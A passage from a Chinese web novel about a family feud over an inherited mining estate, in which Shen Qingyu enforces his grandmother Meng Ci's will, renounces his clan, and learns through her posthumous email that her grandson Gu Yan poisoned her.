顾彦略有深意地看向附和之人。这位可是老家主,也就是他们祖父的亲弟弟。因着这份血缘,老太太对他格外照顾,顾家矿产对外销售的重要渠道,以及与各地商会、乃至官方的联系都交由他打理。 沈清予的规矩一旦立成,就是与所有顾家人为敌。 顾赐丰从三位老者出现后,脸色变得微妙起来。他掀眸看了沈清予一眼,眸底的情绪更加晦暗。 "沈清予,你听见没有。这份资产和你没关系,你从哪来回哪去,今天这事我们也就睁一只眼闭一只眼......" "呵~"沈清予捂着额头,摇了摇头,"真是一群贪得无厌、恬不知耻的老、泼、皮......" 顾忠神色微愣,反应过来后怒不可遏:"浑小子你说什么?你敢这么跟我说话?你知不知道你外公和外婆都不敢这么跟我说话?!" 沈清予:"他们都死了,也管不着我了。你要是有意见,可以下去找他们说理。" "你......你......" 老人这个年纪最忌讳谈生死,沈清予这番话可算是精准踩到了雷点,气得顾忠站起来就要打人。 "老叔公!冷静!"顾开世也没想到沈清予嘴巴竟然这么毒,赶紧拉住顾忠,指着沈清予大骂,"这里是我顾家的老宅,把这个不相干的外姓人赶出去!" 话落,一群人蜂拥而上,扑向沈清予和一旁的基金负责人。 "住手!我手里有老太太的遗嘱,你们不能这样!"基金负责人没想到这群人竟然这么不讲理,高举着文书大喊。 顾开世面容更加狰狞:"这群人都是骗子,他手里的东西也是假的!外姓妇凭什么买卖家族公产?把他们赶出去!" 眼看顾家族人怒红了眼,基金负责人赶紧退出人群,唯恐自己被误伤。 眼看冲突升级,堂后四十名会计、律师纷纷脱下身上的西装冲出房门,与顾家子弟形成一股对抗洪流,双方各守阵营,互不退让。 沈清予抬眸看了看头顶的四方天地,转身抄起身后的紫檀圈椅,对着叫嚣得最凶的人群中心砸了过去! 沉重的实木椅子带着呼啸的风声,如同炮弹般轰入人群! "砰!" 一声沉闷的巨响炸开,伴随着木屑飞溅! "啊——!" 惨叫声、惊呼声骤然响起。冲在最前面的几人被这突如其来的一击砸得人仰马翻,刚才还威风凛凛的两个顾家长者被吓得瘫软在地。其中顾开世被椅子砸中了后背,扑倒在地时又碰了头,脑袋直接撞出了血包。 空气瞬间凝固。 沈清予缓缓上前,脚步踩在碎裂的木屑上发出"嘎吱"的轻响。 "老东西,你刚刚说什么?外姓妇?" 顾开世看着手心鲜红的血水,怒道:"当初族里若非顾及她是阿兄遗孀,早就把她赶出顾家了。这些年,她靠着顾家才有今时今日的地位,做人不能忘本!" 沈清予偏头,眸光穿过人群落在顾赐丰脸上:"舅舅,你也这么认为?" 顾赐丰不语。 沈清予笑了笑,笑过之后眼神骤然变得锋利:"你们是不是忘了,她有名有姓,她叫孟慈!" 这话如同暴风过境,顾赐丰眸光闪动,颤抖的指尖微微收缩。 "四十年前,外公新丧,你们联合族中势力抢夺家产,最后在我婆婆的苦苦哀求下,才给了一块境外废矿。" "婆婆不甘心,带领被废弃的地质团队没日没夜钻研相关地貌数据,终于找到一线生机。但开矿脉需要巨大资源,她已经手无分文,无奈之下只能向族中借贷求助。但你们不仅没有支援,还嘲笑她一个女子开矿是痴人说梦!" "但婆婆并没有因为这些困境放弃,她连夜整理方案试图找机构融资。你们还记得,你们当时是怎么对她的吗?你们对外放话,孟慈的一切行为与顾家无关,顾家不承担孟慈在外一切债务。" 说罢,沈清予从西装口袋里拿出一张纸条,抬手甩在顾开世的脸上:"既然不承担债务,那就不享受收益。这......就是铁证。" 顾开世忽然有种不祥的预感,弯腰捡起了那张纸条。蓦地,一股寒流直冲脑颅。 这是一张五百万的借据。 无担保人。 债主:沈庄 借款人:孟慈 …… 第934章 江山易主 五百万,这在四十年前的经济水平下,堪称一笔天文数字,也是顾老太太仅凭"孟慈"二字能够借到的最大资金。 十年后,这笔钱翻了无数倍。 孟慈曾提着满箱现金亲登沈园致谢,但沈老爷子分文未取。 老爷子提醒孟慈,如果今日这笔账两清,往后就会成为一笔糊涂账。 因为家族之间清算利益时,最擅长的就是给女子冠以夫姓,再巧立名目,理所当然地掠夺她们名下的资产。 但只要这笔账还在,这就是独属于孟慈的凭证。 前提是,老太太愿意相信沈家没有侵吞之心。 这么多年过去,孟慈也只在女儿去世时提出要拿回借据,但后来因沈清予留在沈园,又将借据还了回来。 今早,沈清予特意去沁园拜见沈庄。 老爷子将借据交还给他时,只说了一句话:"你婆婆曾嘱咐我,若她临死都没有回来取借据,死后,她想做回孟慈。" 沈清予抬眸,目光环视众人:"看清楚了。因为老太太没有在规定期限内偿还债务,累积的利息已是天文数字。就在三个小时前,我已将全部债务清偿。所以这些矿产,从来都不是顾家的东西,而是孟慈的。她有权分配。" "不可能!这不可能!"顾开世死死盯着手中借据,企图找出伪造痕迹,但那熟悉的签名与印章让他无法否认。 自觉无路可退,他眼神一暗,将纸条撕得粉碎:"这是假的!你们伪造证据!沈家好黑的心,竟敢趁火打劫!" 沈清予哪能不知道这些人的伎俩,扯了扯嘴角,淡淡道:"撕吧。不过是复印件,撕不够我那里还有。" 闻言,顾开世动作一顿,表情滑稽可笑。 沈清予嗤笑一声,继续道:"哦,对了!我还找到了这些年你们向孟慈女士借款的所有借据。不巧,这些债权也统统由我继承了。亲兄弟明算账,何况我与你们本无情分。别怪我没提醒,按照借约期限,你们均已逾期。三天之内,连本带利还清,这个月的利息我可以不计。但要是三天后还不上——" 他抬手,指尖点着堂下划了一圈:"你们脚下的顾家老宅,就该换姓了。" 此话一出,原本被镇住的顾家人再次哗然。 沈清予既要清退他们,又逼他们还钱,分明是要把他们往死路上逼。 赶狗入穷巷,不是跳墙就是咬人。 眼看这群豺狼眼冒绿光,步步逼近,顾彦嘴角掠过一丝笑意,在他看来,沈清予是疯了,如此不智,看来老太太的死对他的打击很大。 "砰!!" 就在他以为自己稳操胜券时—— 顾家老宅两扇沉重的木门被人从外暴力撞开!木屑纷飞间,刺目的天光涌入昏暗的堂屋。 只见门外站满了荷枪实弹的士兵,他们神情冷峻,眼神锐利,如同出鞘的利剑直入堂前。肃杀之气瞬间笼罩全场,所有喧哗戛然而止。 顾忠望着梁上摇摇欲坠的牌匾,颤巍巍起身:"你们是什么人?" "313师一星上尉,沈兰晞。" 一道清隽挺拔的身影逆光而入,迈着从容不迫的步子跨过门槛。 "受司法检察局指派,前来监督战略矿产资源交接。" 沈兰晞抬手亮出盖着红章的文件,肩章在光线下熠熠生辉。那份与生俱来的疏离感,让他即便置身于剑拔弩张的旋涡中,依然从容不迫。 孟慈手中的矿脉对全球资源争夺具有重要话语权,因此无论出于何种考量,A国高层都必须确保这份资源顺利交接。来之前,沈清予早已做好万全准备,由沈庄出面向司法监督申请政府保护,防的就是顾家耍弄宗族老赖那一套。 顾家人的脸色更加难看。 顾忠强撑体面,冷冷道:"这是我们的家事,你们无权干涉。" 沈兰晞睨了他一眼,神色冷漠:"国法至上。我收到的军令是监督战略矿产顺利交接,任何违抗行为都将被视为藐视国法,原地处决。" 原地处决?! 顾家人上一秒还想着拼个鱼死网破,这一秒却被这四个字吓得噤若寒蝉,连头都不敢抬。 顾开世仍不死心,回头看向顾赐丰:"侄儿,不能签啊!签了顾家就完了!你倒是说句话啊!" 这一喊,又将顾家众人最后的希望唤醒。 顾赐丰是司法监督议员长,只要他一通电话,说不定就能撤回委任状。 顾赐丰抬眸,目光扫过族中众人,最终落在顾彦和顾玉珠身上。 "我们走。" 顾开世万万没想到顾赐丰会是这般反应,跳脚大骂:"你别忘了你姓顾!不孝子孙!" 顾赐丰脚步一顿,回首看向顾开世。多年身处高位,他早已不是当年任人欺凌的幼子。仅一个眼神,便让暴怒的老头瞬间熄火。 沈兰晞完全无视众人,越过沈清予退至庭前:"开始吧。313师会确保流程不受任何干扰。" 沈清予垂眸,不动声色地摩挲着指尖。 司法监督怎能有权调动313师?还是沈兰晞亲自前来...这其中是谁的手笔,不言自明。 信托负责人原本在顾家人的围攻下略显狼狈,见形势逆转,立即挺直了腰板。他扶了扶歪斜的眼镜,深吸一口气,重新打开那个厚重的文件箱。 "根据孟慈女士的遗嘱及附属法律文件,以及沈清予先生已清偿初始债务并继承相关债权的证明,现在,我正式宣布启动资产转移程序。" 说着,他取出一份份盖着钢印的文件,开始宣读关键条款和后续安排。 整个场面鸦雀无声,原本各怀鬼胎的众人,在强权约束下变得"井然有序"。 顾彦紧随顾赐丰的脚步,在即将迈过门槛时,终究没忍住回头望去。 沈清予站在风暴中心,笔走龙蛇间,江山易主。 约成,沈兰晞未置一词,眼皮都未抬,与沈清予擦肩而过,径直出了顾家大门。 大戏落幕,宾客散席。 沈清予凝视着遗嘱上"孟慈赠与"四个字,久久不语。 待他回过神时,泪水已浸湿了眼眶。 …… 第935章 那个‘叛徒\’…… 沁园的花厅,暖炉烧得正旺。屋外,几株老梅疏影横斜,倔强的花苞在枯枝上凝着,尚未绽放,便已有了几分料峭的骨力。 临近黄昏,天色便已暗了下来。 沈庄坐在藤椅上,膝头盖着一条薄毯,正悠闲地侍弄着茶几上的一盆兰草。他的手指苍老却稳定,轻轻拂去叶瓣上并不存在的灰尘。 不多时,厅外传来了动静,临近花厅却又停了下来。 沈庄了然,起身走到茶炉旁,给对案的空位倒了一杯热茶,“回来了?” 良久,屋外的身影动了动,抬脚走了进来。 “爷爷。” 沈清予的声音带着一丝不易察觉的沙哑,像是被冬日的冷风浸透。那双惯常恣意的丹凤眼微微低垂,早已不见从前的明媚。他脱下沾染了室外寒气的深色大衣,并未立刻坐下。 沈庄深深看了他一眼,用下巴点了点对面的位置,语气平淡无波,“站着做什么?茶要趁热喝。” 沈清予迟疑片刻,顺从入座。 沈庄见他不语,便主动开口,“事情解决了?” 西湾风波发生后的三个小时里,鲸港就传出了各种不同的版本。其中最受争议、最引人非议的,便是沈家落井下石、侵吞他人财产的传言。 期间顾家人也没闲着,他们不甘心就这样被踢出资本局,动用了一切关系找人疏通,甚至还有人求到了沈庄面前,希望他不要赶尽杀绝。 所以,即便沈清予不说,沈庄也知道他这一仗赢得有多漂亮。之所以要问,是因为知道沈清予这一趟有多不容易。 “嗯。”沈清予风轻云淡地应了一句,便又盯着眼前的茶汤出神。 许久后,他眼里的涣散慢慢汇聚,终于有了光亮。 他站起身,从大衣内袋里取出提前准备好的文件,神色郑重,正要弯膝下跪,一根细长的紫檀拐棍带着不容置疑的力道,轻轻抵住了他的腿弯,阻止了他下跪的动作。 沈清予微愣,抬眸便撞进了沈庄深邃而智慧的目光里。 “哪学的规矩?动不动就下跪!天大的事,膝盖不要软!站着说!” 沈清予低头,看着支撑着他腿部力量的那根拐杖,眼眶一下就红了。 “是。”他挺直了腰杆,低头弯腰,双手奉上文件,“爷爷,对不起。” 沈庄眼神僵滞了一秒,但很快恢复如常。他接过文件,飞快看了一眼,神色如常,“你……想好了?” 沈清予:“是。爷爷,对不起。” 他声音哽咽,又说了一遍。 “哎~”沈庄长叹了一声,“有什么对得起对不起的?你还管我叫爷爷,这就够了。爷爷再问你一遍,这事你真的想清楚了吗?” 沈清予点头,眼眶虽红,但眼里的那份韧劲做不得假。 “好,好。”沈庄将文件收好,语气寻常,“你长大了,可以自己决定你的人生了,爷爷不干预你。但你记住,真正的血缘不在一纸文书里。” “知道了。” 沈清予喉结微动,咽下所有翻腾的情绪。他小心上前,执起小炉上温着的紫砂壶替沈庄斟茶。 “爷爷,您多保重。” 氤氲的热气再次升起,模糊了他一瞬间的神情。 沈清予放下紫砂壶,端起那杯早已凉透的茶水一饮而尽。 放下茶盏,他不再迟疑,披上深色大衣,步伐沉稳地出了厅门。这次,他没有回头。 沈清予走后,花厅内重归寂静。炭火“噼啪”一声,爆开一点星子,又迅速黯淡下去。 沈庄维持着原来的姿势,目光落在对面空了的座椅上,仿佛那离去的身影还在。 厅外,暮色四合,最后一点天光被暗色吞没。檐下灯笼透进来的朦胧昏光,衬得屋内愈发安静。 良久,沈庄伸出布满皱纹的手,端起眼前的茶盏。茶水温热恰好,他凑近唇边,慢慢啜饮了一口,动作依旧从容,只是那吞咽的动作明显比平时慢了几分。 一杯茶尽,他慢慢转过头,视线又落回到了案上的文件上。 静默了片刻,他才拿起文件,慢条斯理地翻开了第一页。 虽然他已经有了心理准备,但真的看见《自请离族书》这五个醒目的大字时,瞳眸还是不受控制地剧烈收缩。随即,一层难以抑制的水光迅速弥漫上来,模糊了眼前的视线。 * 数日后,《鲸港日报》及全国各大主流媒体的头版头条,均被一则简短却石破天惊的声明所占据: 【本人沈清予,即日起自愿脱离沈氏家族,断绝一切宗族法律关系。同时,过继至已故外祖母孟慈女士名下,承其姓氏,继其衣钵,更名为孟清予。自此,我之一切言行、权责,皆与沈氏无涉,仅以孟慈之孙身份立世。】 落款是:孟清予。 这则声明一出,瞬间引爆了整个A国,尤其是鲸港权利圈。 所有关注着西湾矿产之争、企图以此为把柄攻击沈家的人,都被这突如其来的反转打得措手不及。 绝大多数人的第一反应是:沈清予疯了。他手握战略顶级资源,却脱离了根基深厚的沈家?这无异于自断臂膀! 但深谙权术者并不这么认为。这明显是一种极其高明的“切割”。孟清予一出,从今以后就只有孟家,没有顾家。 “沈家手段高明啊,兵不血刃就将A国一个新贵大族蚕食得连渣都不剩。” 但不管外界是什么声音,都阻止不了沈清予吞并的步伐。他直接拿着顾家人的天价借据,收回了顾家老宅以及顾家在鲸港的一半房产,其中还包括老太太住了一辈子的顾家庄园。 一时间,所有人都在讨论这个自立门户的孟家新贵。只有姜花衫对着报纸的声明陷入了沉思。 上一世,沈清予是因为不满老爷子偏爱沈兰晞才与沈家决裂,后来为了向沈庄证明自己,在顾家的扶持下青云直上。 她原本以为,自己谋划到这一步,剧情怎么都不可能再重蹈覆辙。但万万没想到,这次沈清予的“叛逃”竟然有过之而无不及,直接改了姓。 真是离谱到家了。 “倒霉玩意儿!” 姜花衫看见“孟清予”三个字就窝火,将手里的报纸揉成一团,对着房门砸了过去。 恰好这时,张茹推门进来,迎面撞了个正着。 姜花衫见状,立马收敛神色,无精打采道:“怎么了?” 张茹看了一眼地上的报纸,慢步走上前,“小姐,刚刚郑管家送来的,说是清予少爷的礼物。” “拿走!我跟那个叛徒不熟。”姜花衫摆摆手,一副不想搭理的模样。 张茹知道姜花衫还在气头上,迟疑片刻,低声劝道:“小姐,清予少爷也不容易,要不您先看一眼再决定?” 见姜花衫没搭话,张茹心里有数了,放下手里的礼盒,默默退了出去。 几分钟后,一直“躺尸”的姜花衫突然跳下沙发,趿拉着乌龟拖鞋,慢悠悠蹭到茶几旁,伸手扯下了礼盒上的银色缎带。 盒子打开,里面并非预想中的珠宝首饰,只有一份折叠整齐的文件。 “搞什么鬼?”她皱了皱眉,带着几分疑惑将文件展开。 可当她看清文件抬头的几个大字时,所有的动作瞬间僵住,眸光颤动。 -星辉钻石矿脉自愿赠予合同 -赠予人:孟清予 -受赠人:姜花衫 -“沈清予,你之前说过,会承包我每个生日的珠宝,我马上就要二十岁了,那天出席的珠宝一定要是最夺目的……” 所以,那个‘叛徒’送了她一座钻石山。 …… 第936章 把话说开 此刻,沈清予独自坐在顾家庄园正厅。 昔日喧嚣鼎沸的宅邸,此刻只剩下搬动箱笼的声响和穿堂而过的冷风。 沈清予低头摩挲着扶手上冰凉的木质纹理,上面有一道他小时候调皮用水果刀雕刻的画作,所有人都说他胡闹,因为这是老太太最喜欢的一件陪嫁。 但只有老太太没有责怪他,反而兴趣盎然问他,雕得是什么? 他指着四不像的长虫说是龙,又惹得哄堂大笑,只有老太太认真的摸了摸他的头,说:雕得真好。 沈清予看着被岁月侵蚀的画作,哑然失笑,"连虫都不像,哪里好了?" “少爷。” 顾赫的身影出现在门口,垂首恭敬道:“顾先生在外面,说想见您一面。” 沈清予指尖微顿,随即恢复如常。 他抬起眼,那双深邃的丹凤眼里看不出什么情绪,只淡淡地问:“他一个人?” “是。”顾赫低声回道,小心地观察着沈清予的脸色。 沈清予沉默片刻,神色平静,“让他进来。” 顾赐丰踏进正厅时,脚步有片刻的迟缓。 他先是下意识地扫视了一圈,视线掠过那些正在小心翼翼搬动家具的陌生面孔,最终落在那张宽大的花梨木榻上。以前老太太最喜欢在这张木榻上午休了,可转眼,已经物是人非。 顾赐丰深吸一口气,慢慢走向沈清予,两人相顾无言。顾赐丰低头入座,沉默许久后率先开口,“我……看见报纸上的声明了。” 沈清予挑眉,抬着下巴好整以暇等着他的下文。 顾赐丰并未在意他的无礼,神情黯然,“你婆婆没有白疼你?她要是泉下有知,一定开心坏了。” 沈清予冷冷扯了扯嘴角,“但顾家人可就要头疼了。” 顾赐丰也姓顾,这番话可谓火药味十足。 顾赐丰看了他一眼,顿了顿,才又继续开口道:“当年你外祖父突然病逝,家里只剩孤儿寡母,是你外祖母一个人挑起了全族的重担。后来,我们的日子好了,族里人明面奉承巴结背地里相互算计,老太太便想着是时候培养一个继承人继续保护我们这个小家。” “我比你母亲大三岁,又是男丁,所以老太太顺理成章选了我。我原本也以为这是天经地义的事,直到你母亲临死前拉着老太太的手问她,‘母亲,您当初为什么不选我?’” “如果说你外祖父的死是老太太前半生的噩梦,那你母亲的死就是她后半生再也走不出来的深渊。此后,老太太便活在了愧疚里,她恨自己是女子,却在挑选继承人的时候优先放弃了同为女子的女儿,她觉得是自己害了你的母亲。” “她不止一次向我哭诉,说如果当时她给了你母亲一个公平竞争的机会,带她看过外面更广阔的天空,你母亲就不会被困在一座婚姻的坟墓里。” 沈清予挑眉,眼里的锋芒依旧冷冽,“这个时候说这些有什么用?” 顾赐丰摇了摇头,“没有用。改变不了什么?我只是想告诉你,我接受老太太安排。她把所有的东西留给你,就代表你是这场公平竞争后,她最属意的人。” “我虽然姓顾,但母子连心,她能做回孟慈,我是高兴的。我今天来不为矿脉也不为资产,我只问你一句,母亲的死……” 说到这,顾赐丰喉间哽咽,几乎是咬着牙,“是否与……阿彦有关?” 沈清予眸光微暗,收敛了几分棱角,“舅舅不是已经知道了,又何必多问?” 顾赐丰的脸色霎时苍白,之前他还怀揣着几分侥幸,但现在想想,这哪是侥幸?分明是明知答案不敢面对的怯弱。 律师说过,老太太是出事前三天突然更改了遗嘱,这说明这其中一定发生了什么大事。 而他恰好就知道第一份遗嘱的内容,因为他是公职人员,为了避嫌,老太太特意将矿脉决定权分成了三份,沈清予占百分之五十一、顾彦和顾玉珠合起来占百分之四十九。 但新的遗嘱直接将两人的名字抹除了,那么变故一定和他们两人有关。 顾赐丰能坐在今天的高位自然不会随便被糊弄,不管是沈清予的突然转变还是遗嘱更变,其实都已经有指向的说明了问题。理智虽然明白,但在情感上,他接受不了。 “你……有证据吗?”他缓缓抬眸,看上去像是一具被抽走了灵魂的躯壳。 沈清予反问:“如果我说有,舅舅会替奶奶主持公道吗?” …… 第937章 一封邮件 顾赐丰的嘴唇翕动着,放在膝上的手无意识地攥紧,指节泛白。 沈清予没有催促,只是静静地看着。 时间在沉默中凝滞,冷风掠过空旷厅堂,只剩一片呜咽。 “清予……”顾赐丰的喉结滚动了一下,他想说什么,却又自觉开不了口,最终化作一声近乎叹息的喘息,低下了头。 沈清予眼底最后一丝微弱的碎光彻底熄灭了。他缓缓靠回椅背,姿态甚至带上了一丝慵懒,“你不会。” “你是政客,处处衡量得失。你现在一定在想,就算杀了顾彦,老太太也回不来。但如果顾彦死了,你不仅没有了母亲,也没有了儿子。所以,你不会,对吗?” 沈清予的声音冰冷如铁,砸在寂静的空气里字字千斤。见顾赐丰不语,他无所谓地笑了笑:“知子莫若母,看来,奶奶还是很了解你的。” 顾赐丰眼睑颤动,不断收缩的瞳孔骤然僵滞。 片刻后,他闭了闭眼,转头看向沈清予:“这件事我一定会查明真相。我只想问你,如果真的是阿彦,还有回旋的余地吗?” 沈清予嘴角的笑意凝固,“你说呢?” 顾赐丰:“阿彦会受到惩罚,但……能不能……” “不能!”沈清予毫不留情地拒绝。 “清予……阿彦做错事是我没有教好,他还年轻,就不能留他一条性命吗?” 顾赐丰抬起眼,眼中是父亲才有的痛楚与近乎卑微的乞求。众人都以为沈清予离开沈家是为了自立门户,但只有他知道,沈清予是想清理门户。他脱离沈家,只是怕自己以后做出的事连累沈家。 “够了。” 沈清予被顾赐丰这套说辞彻底激怒了。他缓缓站起身,居高临下地看着瞬间僵住的顾赐丰。 “你到现在还不明白吗?当他选择对奶奶下手的时候,他就不值得被原谅了。杀人偿命,天经地义。” 说罢,他懒得再看顾赐丰,转身走向窗边,声音恢复了之前的平静,却更显疏离:“顾赫,送客。” 顾赐丰脸色灰败,仿佛瞬间苍老了十岁。他张了张嘴,却发现自己连一个音节都发不出来。他颓然起身,抬眸环顾了主厅一圈,目光在那张花梨木榻上停留了片刻,才转身往门口走去。 他刚走下台阶,还未站稳,便听见屋里的人扯着嗓子嚷嚷:“赶紧的,把那块牌匾取下来,别触了新主人的霉头。” 顾赐丰的脚步猛地顿住,背脊瞬间僵直,几乎是逃离了顾家庄园。 庭外,一辆黑色轿车早已等候多时。顾赐丰脸色冷沉,上车后一言不发。 车内气氛压抑得令人窒息。驾驶室的助理透过后视镜,小心地观察着顾赐丰的脸色,几度欲言又止。 “说吧,查到什么了?”顾赐丰没有睁眼,声音沙哑,带着浓浓的倦意。 助理迟疑片刻,转过身,将一份薄薄的文件夹恭敬地递到后座,小心翼翼道:“先生,我们……查到了一些关于老太太出事那天的线索……” 顾赐丰缓缓抬眸,眼神冷得可怕:“直接说结果。” 助理喉结滚动了一下,避开顾赐丰迫人的视线,垂眸道:“我们调取了老太太出事前去变更遗嘱的记录,通过多方面取证,可以确定老太太是自愿前去,没有受到任何胁迫。还有……老太太变更之后又折返了一次,增加了一条硬性规定:如果是这条遗嘱生效,矿脉的变更必须在她下葬两个小时内完成交接。” 顾赐丰不语,放在膝盖上的手再次攥紧,指甲几乎要嵌进肉里。 “还有,我们重新排查了当天老宅的人员流动,发现小姐在老太太出事的时间段回过顾家。” “珠儿?”顾赐丰微愣,略有些诧异。 他曾问过顾玉珠,老太太怎么会突然病发?顾玉珠哭着告诉他,她跟朋友在外面逛街,回来的时候,老太太已经出事了。 他不想让自己种下怀疑的种子,闭眼摇了摇头,“就算是这样,也不能证明什么?” 老太太的遗体已经火化,仅凭两次折返变更遗嘱,在法律上并不足以指认什么。 助理顿了顿,声音里带着一丝不易察觉的紧张:“另外……现在,就在一个小时前,您的邮箱收到了一封特殊邮件,发送人是……是老太太!” “你说什么?!”顾赐丰猛地睁开眼,几乎以为自己听错了。 助理被他骤然拔高的声音吓了一跳,连忙将手中的平板电脑递过去。屏幕上赫然显示着一封已读邮件的界面。发件人邮箱地址经过特殊加密,但备注名清晰无比—— 孟慈。 “邮件是定时发送的,设置的时间……就在今天下午三点整。我们核实过发送服务器的日志,创建和定时设置的时间,是在……老太太出事前一天。” 前一天? 不可能! 顾赐丰一把夺过平板,指尖因为用力而微微颤抖。此刻他被一种混合着恐惧与荒谬的情绪深深裹挟,压得他快喘不过气了。 【小丰: 当你看到这封信时,想必我已经不在了。我从来没想过会以这样的方式与你告别,但我没有办法,因为我发现你的儿子竟然年复一年在我的参汤里下毒。 我一开始是愤怒,但愤怒之后,我开始反思。为什么我会变成一个被亲孙子想要除之而后快的老太婆? 因为这次反思,我有了新的人生观。从前我总念叨着死后要去见你父亲,可当我知道我马上要死的时候,我竟然不这么想了。反思我这一生,对得起他,对得起顾家,对得起你,也对得起阿彦,所以没什么好见的。 我现在想明白了,我啊,活了一辈子最对不起的就是自己。所以临死之际,我决定任性一回,不做你的母亲,不做顾家主母,就做一回孟慈。 我要让所有人都知道,顾家既然不念我的好,那就试试没有孟慈的顾家算什么? 至于你…… 子女爱父母永远不能超过父母爱子女。阿彦的手段糊弄不了你,但你是他的父亲,总归是会保全他的。我知道,我也不怪你! 矿脉没有留给你,就算是你我母子之间的清算吧。还有,下面这份文件,看过之后怎么处理也随你,我都死了,就不操心上面的事了。 只有一点,望你铭记。 我给你的从不比清予少,别为难那孩子。 - 孟慈绝笔 】 …… 第938章 放鞭炮不是放炮 “这都多久了,也不知道爸爸有没有说服清予哥?” 顾玉珠在新安置的别墅客厅里来回踱步,高跟鞋敲击在光洁的大理石地面上,发出急促而清脆的声响,搅得人心烦意乱。 顾彦低头摆弄着手机,并不接话。 顾玉珠探着脖子张望了许久不见人影,回头见顾彦的反应,神情微妙,“哥,我心里总觉得不踏实。现在清予哥连顾家庄园都收回去了,万一……” 顾彦抬起眼皮,淡淡地扫了她一眼,“万一什么?” 顾玉珠被他眼里的阴鸷吓得不敢说话,捂着嘴摇了摇头,“没……没什么。” 就在这时—— “咔哒”一声轻响,别墅大门被人从外面推开了。玄关处的光线勾勒出一个高大却带着沉重暮气的轮廓。 “爸!” 顾玉珠立马松了一口气,小跑迎上前,迫不及待地追问,“爸,您跟清予哥谈得怎么样了?他愿意把老宅卖给我们吗?” 顾赐丰充耳不闻,径直越过满脸期盼的顾玉珠,脚步一刻未停,朝着客厅走去。 顾玉珠伸出的手僵在半空,她愣了一秒,立刻转身跟上顾赐丰的脚步,声音里带上了几分不易察觉的紧绷:“爸?您……您怎么了?出什么事了?” 顾彦此刻已经放下了手机,略有不解地打量着顾赐丰。 顾赐丰缓缓入座,眼里看不出情绪,忽然开口:“珠儿,老太太出事那天,你在哪里?” 顾玉珠被他问得浑身一颤,脸上强装出来的镇定瞬间出现了裂痕。她下意识看了顾彦一眼,咽了咽口水:“我……我跟朋友在外面逛街啊,爸,我不是跟您说过了吗?我回去的时候,奶奶她……她已经……” “逛街?”顾赐丰打断她,“和哪个朋友?在哪个商场?买了什么东西?” 顾玉珠猝不及防,脸色“唰”地一下变得惨白,支支吾吾道:“是……是王家的……我们就在中心区那边……买了……买了……” “还敢撒谎!” 顾赐丰骤然施压,眼神利得跟开刃的刀锋似的。顾玉珠被他吼得浑身一软,差点瘫倒在地。 “哥……哥……”她惊恐地看向顾彦,寻求帮助。 顾彦见状,眉头紧锁,迟疑片刻上前一步托住顾玉珠:“爸,您别吓着小珠了,有什么事……” 没等他说完,顾赐丰猛地抓起一个玉石烟灰缸,对着顾彦重重砸了过去! 这速度又快又急,根本不容人反应。 “砰!” 一声闷响,伴随着顾玉珠短促的尖叫,鲜血飞溅。 顾彦被这突如其来的一击砸得眼前发黑,踉跄着向后倒退了两步,撞在沙发扶手上才勉强站稳。他下意识地抬手捂住额角,黏腻猩红的血液立刻染红了他的指缝。 顾赐丰胸口剧烈起伏,眼神却平静至极,“知道为什么打你吗?” 顾彦抿了抿嘴角的血渍,“知道。” 一旁的顾玉珠早已被这血腥的一幕吓得魂飞魄散,瘫坐在地上,连哭都忘了,只会瑟瑟发抖。 顾赐丰转头看着她,“你是同伙?” 顾玉珠这才反应过来,连忙摆手,“不是不是!!是哥哥!我……我……” “跟她没关系,是我一个人做的。”顾彦往前一步挡在顾玉珠面前,丝毫没有认错的意思。 “你一个人?” 顾赐丰点头,慢慢走近顾彦。不比不知道,以前还没有他膝盖高的小子,已经高出了他一个头。顾赐丰弯腰捡起沾满血迹的烟灰缸,眼神一利,反手对着顾彦的脸砸了过去。 砰一声闷响,顾彦一个趔趄连连后退。顾赐丰却没有收手,拿着手里的凶器越砸越凶,直到顾彦栽倒在地完全没有反应,他才停了下来。 “你走吧。” 顾彦倏然抬眸,血水一下子侵入了他的眼睛。 顾赐丰扔下手里的烟灰缸,表情麻木,“你敢在家杀人,不就是赌我不会见死不救吗?你赌对了!滚!永远不要让我再看见你!滚!!!” 顾彦缓了几秒,用手肘撑起上半身,血水模糊了他的视线,他抬手用力抹去,颤巍巍地站起身。 正要抬步,忽然想到什么,他咬了咬牙,眼神倔强地看着顾赐丰:“爸,我没错!” 说完,头也不回地转身离开。 * 翌日,清晨。 “噼里啪啦——!!” 震耳欲聋的鞭炮声骤然炸响,打破了清晨的宁静。浓烈的硝烟味瞬间弥漫开来,红色的纸屑如同碎雪般纷扬溅落,铺满了门前洁净的石阶。 沈清予就站在漫天飞舞的红色碎屑里,微微抬着下巴。 头顶门楣之上,崭新的金漆“孟”字牌匾在硝烟与晨光里若隐若现。 “少爷,乔迁大喜。”顾赫从口袋里拿出一个红包递给沈清予。 沈清予皱了皱眉,一巴掌拍开,“少爷有的是钱,还在乎你这点碎银子?” 顾赫看着里面冷冷清清的大厅,犹豫片刻把红包揣了回去,认真道:“少爷,您搬新家第一天,没人气可不行,要不我再去放一挂鞭炮?” “谁还在乎这个?”沈清予摆摆手,“要的就是清净。” 话没说完—— “噼里啪啦砰——!!” 一声突兀而响亮的炮响猛地从大门外传来,声音巨大,震得人耳膜嗡嗡作响,连脚下地面都仿佛随之一颤。 沈清予和顾赫同时一怔,下意识地转头望向大门方向。 谁啊,大清早在他门口放炮,找死? “咳咳咳!!!” 没等沈清予反应过来,只见浓雾缭绕的白烟里突然窜出几道身影。 姜花衫捂着嘴巴,第一个冲了出来,指着身后大骂:“咳咳咳!呛死我了!沈兰晞你有病啊,让你放鞭炮,不是放炮!” “别说了,憋气!”沈眠枝顶着一头烟,大气不敢出。 “门呢!哎哟!我的头,我找不到门了!”大雾里还有个黑影在门口摸来摸去。 沈清予站在硝烟里一动不动,抿直的嘴角轻轻上扬。 …… 第939章 来自远方的警告 姜花衫骂骂咧咧,回过头,正好和沈清予的视线撞上。 后者眼角微微上挑,那双看似凉薄乖戾的丹凤眼里淌过细碎而晃眼的微光。 彼时,门口的人影终于找到了方向,抱着一袋苹果冲出了白雾。 “清予哥,听说你今天搬新家,我们特意来沾沾喜气。”傅绥尔咧着嘴角,笑容灿烂。 沈清予转眸,斜睨着她手里的苹果,“就带这玩意儿?” 傅绥尔瞪圆了眼睛:“礼轻情意重啊,再说,你现在什么档次?还差那三瓜两枣?” 沈清予扯了扯嘴角,一把拎过水果,“说的也是。走吧,去里面坐。” 说着,目光微转,稍稍看了一眼沈眠枝。 自从上次鲸鱼岛事件,他看出沈眠枝是周宴珩的舔狗,就对她没什么好脸色。但今天沈眠枝愿意来,沈清予也不想计较了。 “等会!” 